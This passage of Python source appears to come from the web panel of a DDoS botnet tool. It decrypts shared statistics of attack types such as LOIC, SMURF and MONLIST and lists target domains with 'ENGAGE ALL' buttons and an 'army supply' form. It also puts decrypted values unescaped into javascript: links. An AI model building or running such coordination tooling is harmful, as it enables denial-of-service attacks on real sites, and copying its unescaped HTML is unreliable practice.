  7182. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  7183. self.decrypt(grid_key, grid_droper)
  7184. if self.decryptedtext:
  7185. grid_droper = self.decryptedtext
  7186. else:
  7187. grid_droper = nodec_text
  7188. self.decryptedtext = "" # clean decryptedtext buffer
  7189. try: # parse for int
  7190. grid_droper = int(grid_droper)
  7191. mothership_droper = mothership_droper + grid_droper
  7192. except:
  7193. grid_droper = nodec_text
  7194. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  7195. self.decrypt(grid_key, grid_overlap)
  7196. if self.decryptedtext:
  7197. grid_overlap = self.decryptedtext
  7198. else:
  7199. grid_overlap = nodec_text
  7200. self.decryptedtext = "" # clean decryptedtext buffer
  7201. try: # parse for int
  7202. grid_overlap = int(grid_overlap)
  7203. mothership_overlap = mothership_overlap + grid_overlap
  7204. except:
  7205. grid_overlap = nodec_text
  7206. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  7207. self.decrypt(grid_key, grid_pinger)
  7208. if self.decryptedtext:
  7209. grid_pinger = self.decryptedtext
  7210. else:
  7211. grid_pinger = nodec_text
  7212. self.decryptedtext = "" # clean decryptedtext buffer
  7213. try: # parse for int
  7214. grid_pinger = int(grid_pinger)
  7215. mothership_pinger = mothership_pinger + grid_pinger
  7216. except:
  7217. grid_pinger = nodec_text
  7218. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  7219. self.decrypt(grid_key, grid_ufoudp)
  7220. if self.decryptedtext:
  7221. grid_ufoudp = self.decryptedtext
  7222. else:
  7223. grid_ufoudp = nodec_text
  7224. self.decryptedtext = "" # clean decryptedtext buffer
  7225. try: # parse for int
  7226. grid_ufoudp = int(grid_ufoudp)
  7227. mothership_ufoudp = mothership_ufoudp + grid_ufoudp
  7228. except:
  7229. grid_ufoudp = nodec_text
  7230. if version == 26:
  7231. grid_contact = m[25] # contact
  7232. self.decrypt(grid_key, grid_contact)
  7233. if self.decryptedtext:
  7234. grid_contact = self.decryptedtext
  7235. else:
  7236. grid_contact = nodec_text
  7237. self.decryptedtext = "" # clean decryptedtext buffer
  7238. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[25] = grid_contact (>str3<str120)
  7239. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7240. else:
  7241. try:
  7242. grid_contact = grid_contact.replace("b'", "")
  7243. grid_contact = grid_contact.replace("'", "")
  7244. if " " in grid_contact: # m[25] = grid_contact
  7245. grid_contact = grid_contact.replace(" ","")
  7246. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7247. except:
  7248. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7249. try:
  7250. grid_id = m[26] # id
  7251. except:
  7252. grid_id = '6666666666666666666666666666666666666' # fake id
  7253. elif version == 17:
  7254. grid_contact = m[16] # contact
  7255. self.decrypt(grid_key, grid_contact)
  7256. if self.decryptedtext:
  7257. grid_contact = self.decryptedtext
  7258. else:
  7259. grid_contact = nodec_text
  7260. self.decryptedtext = "" # clean decryptedtext buffer
  7261. grid_contact = str(grid_contact) # contact
  7262. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  7263. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7264. else:
  7265. try:
  7266. if " " in grid_contact: # m[16] = grid_contact
  7267. grid_contact = grid_contact.replace(" ","")
  7268. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7269. except:
  7270. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7271. try:
  7272. grid_id = m[17] # id
  7273. except:
  7274. grid_id = '6666666666666666666666666666666666666' # fake id
  7275. elif version == 16:
  7276. grid_contact = m[15] # contact
  7277. self.decrypt(grid_key, grid_contact)
  7278. if self.decryptedtext:
  7279. grid_contact = self.decryptedtext
  7280. else:
  7281. grid_contact = nodec_text
  7282. self.decryptedtext = "" # clean decryptedtext buffer
  7283. grid_contact = str(grid_contact) # contact
  7284. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  7285. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7286. else:
  7287. try:
  7288. if " " in grid_contact: # m[15] = grid_contact
  7289. grid_contact = grid_contact.replace(" ","")
  7290. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7291. except:
  7292. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7293. try:
  7294. grid_id = m[16] # id
  7295. except:
  7296. grid_id = '6666666666666666666666666666666666666' # fake id
  7297. elif version == 15:
  7298. grid_contact = m[14] # contact
  7299. self.decrypt(grid_key, grid_contact)
  7300. if self.decryptedtext:
  7301. grid_contact = self.decryptedtext
  7302. else:
  7303. grid_contact = nodec_text
  7304. self.decryptedtext = "" # clean decryptedtext buffer
  7305. grid_contact = str(grid_contact) # contact
  7306. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  7307. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7308. else:
  7309. try:
  7310. if " " in grid_contact: # m[14] = grid_contact
  7311. grid_contact = grid_contact.replace(" ","")
  7312. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7313. except:
  7314. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7315. try:
  7316. grid_id = m[15] # id
  7317. except:
  7318. grid_id = '6666666666666666666666666666666666666' # fake id
  7319. elif version == 12:
  7320. grid_contact = m[11] # contact
  7321. self.decrypt(grid_key, grid_contact)
  7322. if self.decryptedtext:
  7323. grid_contact = self.decryptedtext
  7324. else:
  7325. grid_contact = nodec_text
  7326. self.decryptedtext = "" # clean decryptedtext buffer
  7327. grid_contact = str(grid_contact) # contact
  7328. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  7329. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7330. else:
  7331. try:
  7332. if " " in grid_contact: # m[11] = grid_contact
  7333. grid_contact = grid_contact.replace(" ","")
  7334. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7335. except:
  7336. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7337. try:
  7338. grid_id = m[12] # id
  7339. except:
  7340. grid_id = '6666666666666666666666666666666666666' # fake id
  7341. elif version == 11:
  7342. grid_contact = m[10] # contact
  7343. self.decrypt(grid_key, grid_contact)
  7344. if self.decryptedtext:
  7345. grid_contact = self.decryptedtext
  7346. else:
  7347. grid_contact = nodec_text
  7348. self.decryptedtext = "" # clean decryptedtext buffer
  7349. grid_contact = str(grid_contact) # contact
  7350. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  7351. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7352. else:
  7353. try:
  7354. if " " in grid_contact: # m[10] = grid_contact
  7355. grid_contact = grid_contact.replace(" ","")
  7356. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7357. except:
  7358. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7359. try:
  7360. grid_id = m[11] # id
  7361. except:
  7362. grid_id = '6666666666666666666666666666666666666' # fake id
  7363. elif version == 10:
  7364. grid_contact = m[9] # contact
  7365. self.decrypt(grid_key, grid_contact)
  7366. if self.decryptedtext:
  7367. grid_contact = self.decryptedtext
  7368. else:
  7369. grid_contact = nodec_text
  7370. self.decryptedtext = "" # clean decryptedtext buffer
  7371. grid_contact = str(grid_contact) # contact
  7372. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  7373. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7374. else:
  7375. try:
  7376. if " " in grid_contact: # m[9] = grid_contact
  7377. grid_contact = grid_contact.replace(" ","")
  7378. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  7379. except:
  7380. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7381. try:
  7382. grid_id = m[10] # id
  7383. except:
  7384. grid_id = '6666666666666666666666666666666666666' # fake id
  7385. else:
  7386. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  7387. grid_id = '6666666666666666666666666666666666666' # fake id
  7388. try: # parsing for valid stream struct
  7389. grid_ranking = str(grid_ranking)
  7390. if grid_ranking == nodec_text: # hide any data when user is encrypted
  7391. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  7392. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7393. else:
  7394. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  7395. except:
  7396. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  7397. grid_table += "</table><br>"
  7398. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  7399. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr><tr><td>FRAGGLE:</td><td align='right'>"+str(mothership_fraggle)+"</td><td>SNIPER:</td><td align='right'>"+str(mothership_sniper)+"</td><td>UFOACK:</td><td align='right'>"+str(mothership_ufoack)+"</td><td>UFORST:</td><td align='right'>"+str(mothership_uforst)+"</td></tr><tr><td>DROPER:</td><td align='right'>"+str(mothership_droper)+"</td><td>OVERLAP:</td><td align='right'>"+str(mothership_overlap)+"</td><td>PINGER:</td><td align='right'>"+str(mothership_pinger)+"</td><td>UFOUDP:</td><td align='right'>"+str(mothership_ufoudp)+"</td></tr></table><br><hr><br>"
  7400. f.write(mother_table)
  7401. f.write(grid_table)
  7402. f.write(end_mark)
  7403. f.close()
  7404. else: # not valid stream data
  7405. pass
  7406. if page == "/cmd_decrypt_grid_update":
  7407. if not os.path.exists('/tmp/out'):
  7408. open('/tmp/out', 'w').close()
  7409. with open('/tmp/out', 'r') as f:
  7410. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  7411. if page == "/cmd_decrypt_wargames":
  7412. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  7413. wargames_join_flag = False # anti-join flag for non decrypted wargames
  7414. try:
  7415. wargames_deckey = pGet["wargames_deckey"]
  7416. except:
  7417. wargames_deckey = ""
  7418. end_mark = "[Info] [AI] End of decryption."
  7419. if wargames_deckey != "": # wargames decryption
  7420. nodec_text = "KEY?"
  7421. try: # read global army supply from configuration file (json)
  7422. with open(self.mothership_supplycfg_file) as data_file:
  7423. data = json.load(data_file)
  7424. except:
  7425. if os.path.exists(self.mothership_supplycfg_file) == True:
  7426. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  7427. return
  7428. else: # generate default global army supply configuration file
  7429. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  7430. with open(self.mothership_supplycfg_file, "w") as f:
  7431. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  7432. with open(self.mothership_supplycfg_file) as data_file:
  7433. data = json.load(data_file)
  7434. self.supply_botnet = data["botnet"]
  7435. self.supply_loic = data["loic"]
  7436. self.supply_loris = data["loris"]
  7437. self.supply_ufosyn = data["ufosyn"]
  7438. self.supply_spray = data["spray"]
  7439. self.supply_smurf = data["smurf"]
  7440. self.supply_xmas = data["xmas"]
  7441. self.supply_nuke = data["nuke"]
  7442. self.supply_tachyon = data["tachyon"]
  7443. self.supply_monlist = data["monlist"]
  7444. self.supply_fraggle = data["fraggle"]
  7445. self.supply_sniper = data["sniper"]
  7446. self.supply_ufoack = data["ufoack"]
  7447. self.supply_uforst = data["uforst"]
  7448. self.supply_droper = data["droper"]
  7449. self.supply_overlap = data["overlap"]
  7450. self.supply_pinger = data["pinger"]
  7451. self.supply_ufoudp = data["ufoudp"]
  7452. f = open(self.wargames_file,"r")
  7453. ls = f.readlines()
  7454. f.close()
  7455. if ls:
  7456. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  7457. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td><td align='center'>FRAGGLE:</td><td align='center'>SNIPER:</td><td align='center'>UFOACK:</td><td align='center'>UFORST:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_fraggle' value='"+str(self.supply_fraggle)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_sniper' value='"+str(self.supply_sniper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoack' value='"+str(self.supply_ufoack)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_uforst' value='"+str(self.supply_uforst)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td><td align='center'>DROPER:</td><td align='center'>OVERLAP:</td><td align='center'>PINGER:</td><td align='center'>UFOUDP:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_droper' value='"+str(self.supply_droper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_overlap' value='"+str(self.supply_overlap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_pinger' value='"+str(self.supply_pinger)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoudp' value='"+str(self.supply_ufoudp)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  7458. else:
  7459. wargames_autopanel = ""
  7460. wargames_supply = ""
  7461. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  7462. f = open("/tmp/out", "w")
  7463. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  7464. wargames_id = 1
  7465. for m in self.list_wargames_rev: # list = creation, target, estimated
  7466. if wargames_msg_sep in m:
  7467. m = m.split(wargames_msg_sep)
  7468. wargames_creation = m[0] # creation date
  7469. self.decrypt(wargames_deckey, wargames_creation)
  7470. if self.decryptedtext:
  7471. wargames_creation = self.decryptedtext
  7472. else:
  7473. wargames_creation = nodec_text
  7474. self.decryptedtext = "" # clean decryptedtext buffer
  7475. wargames_target = m[1] # target
  7476. wargames_target_joined = wargames_target
  7477. self.decrypt(wargames_deckey, wargames_target)
  7478. if self.decryptedtext:
  7479. wargames_target = self.decryptedtext
  7480. if wargames_target.startswith("www."):
  7481. wargames_target = wargames_target.replace("www.","")
  7482. else:
  7483. wargames_target = nodec_text
  7484. self.decryptedtext = "" # clean decryptedtext buffer
  7485. wargames_estimated = m[2] # estimated time
  7486. self.decrypt(wargames_deckey, wargames_estimated)
  7487. if self.decryptedtext:
  7488. wargames_estimated = self.decryptedtext
  7489. wargames_join_flag = True
  7490. else:
  7491. wargames_estimated = nodec_text
  7492. self.decryptedtext = "" # clean decryptedtext buffer
  7493. else:
  7494. wargames_target = "KEY?"
  7495. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  7496. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  7497. try:
  7498. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  7499. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  7500. except: # discarding errors also on panel
  7501. wargames_creation = now
  7502. wargames_estimated = now
  7503. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  7504. wargames_creation = now
  7505. wargames_estimated = now
  7506. if (now >= wargames_estimated) == False: # change flag color when time is out
  7507. time_now = time.mktime(now)
  7508. time_estimated = time.mktime(wargames_estimated)
  7509. wargames_eta = (time_estimated - time_now)
  7510. hours, rem = divmod(wargames_eta, 3600)
  7511. minutes, seconds = divmod(rem, 60)
  7512. if "!!!" in wargames_target_joined:
  7513. status = "JOINED!"
  7514. wargames_status = "<font color='cyan'>"+status+"</font>"
  7515. if wargames_join_flag == True:
  7516. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  7517. else:
  7518. wargames_join = "KEY?" # present but with a different crypto-key
  7519. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7520. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7521. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  7522. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7523. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  7524. else:
  7525. status = "-ONGOING-"
  7526. wargames_status = "<font color='orange'>"+status+"</font>"
  7527. if wargames_join_flag == True:
  7528. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  7529. else:
  7530. wargames_join = "KEY?" # present but with a different crypto-key
  7531. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7532. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7533. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  7534. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7535. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  7536. else:
  7537. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7538. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  7539. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7540. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  7541. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  7542. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  7543. status = "-CLOSED-"
  7544. wargames_status = "<font color='red'>"+status+"</font>"
  7545. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  7546. wargames_id = wargames_id + 1
  7547. wargames_table += "</table><br>"
  7548. f.write(wargames_table)
  7549. f.write(end_mark)
  7550. f.close()
  7551. if page == "/cmd_decrypt_wargames_update":
  7552. if not os.path.exists('/tmp/out'):
  7553. open('/tmp/out', 'w').close()
  7554. with open('/tmp/out', 'r') as f:
  7555. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  7556. if page == "/cmd_decrypt_links":
  7557. self.pages["/cmd_decrypt_links"] = "<pre>Waiting for decrypting results...</pre>"
  7558. try:
  7559. link_deckey = pGet["link_deckey"]
  7560. except:
  7561. link_deckey = ""
  7562. end_mark = "[Info] [AI] End of decryption."
  7563. if link_deckey != "": # links decryption
  7564. nodec_text = "This LINK cannot be solved with that KEY..."
  7565. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('creation','"+str(link_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('topic','"+str(link_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('url','"+str(link_deckey)+"')>URL:</a></td></tr>"
  7566. f = open("/tmp/out", "w")
  7567. self.list_links_rev = reversed(self.list_links) # order by DESC
  7568. for m in self.list_links_rev: # list = creation, topic, url
  7569. if links_msg_sep in m:
  7570. m = m.split(links_msg_sep)
  7571. link_creation = m[0] # creation date
  7572. self.decrypt(link_deckey, link_creation)
  7573. if self.decryptedtext:
  7574. link_creation = self.decryptedtext
  7575. else:
  7576. link_creation = nodec_text
  7577. self.decryptedtext = "" # clean decryptedtext buffer
  7578. link_url = m[1] # url
  7579. self.decrypt(link_deckey, link_url)
  7580. if self.decryptedtext:
  7581. link_url = self.decryptedtext
  7582. if link_url.startswith("www."):
  7583. link_url = link_url.replace("www.","")
  7584. else:
  7585. link_url = nodec_text
  7586. self.decryptedtext = "" # clean decryptedtext buffer
  7587. link_topic = m[2] # topic
  7588. self.decrypt(link_deckey, link_topic)
  7589. if self.decryptedtext:
  7590. link_topic = self.decryptedtext
  7591. else:
  7592. link_topic = nodec_text
  7593. self.decryptedtext = "" # clean decryptedtext buffer
  7594. else:
  7595. link_creation = nodec_text
  7596. link_url = nodec_text
  7597. link_topic = nodec_text
  7598. if link_creation == nodec_text:
  7599. links_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td></tr>"
  7600. else:
  7601. links_table += "<tr><td align='center'>"+link_creation+"</td><td align='center'>"+link_topic+"</td><td align='center'><a href='"+str(link_url)+"' target='_blank'>"+str(link_url)+"</a></td></tr>"
  7602. links_table += "</table><br>"
  7603. f.write(links_table)
  7604. f.write(end_mark)
  7605. f.close()
  7606. if page == "/cmd_decrypt_links_update":
  7607. if not os.path.exists('/tmp/out'):
  7608. open('/tmp/out', 'w').close()
  7609. with open('/tmp/out', 'r') as f:
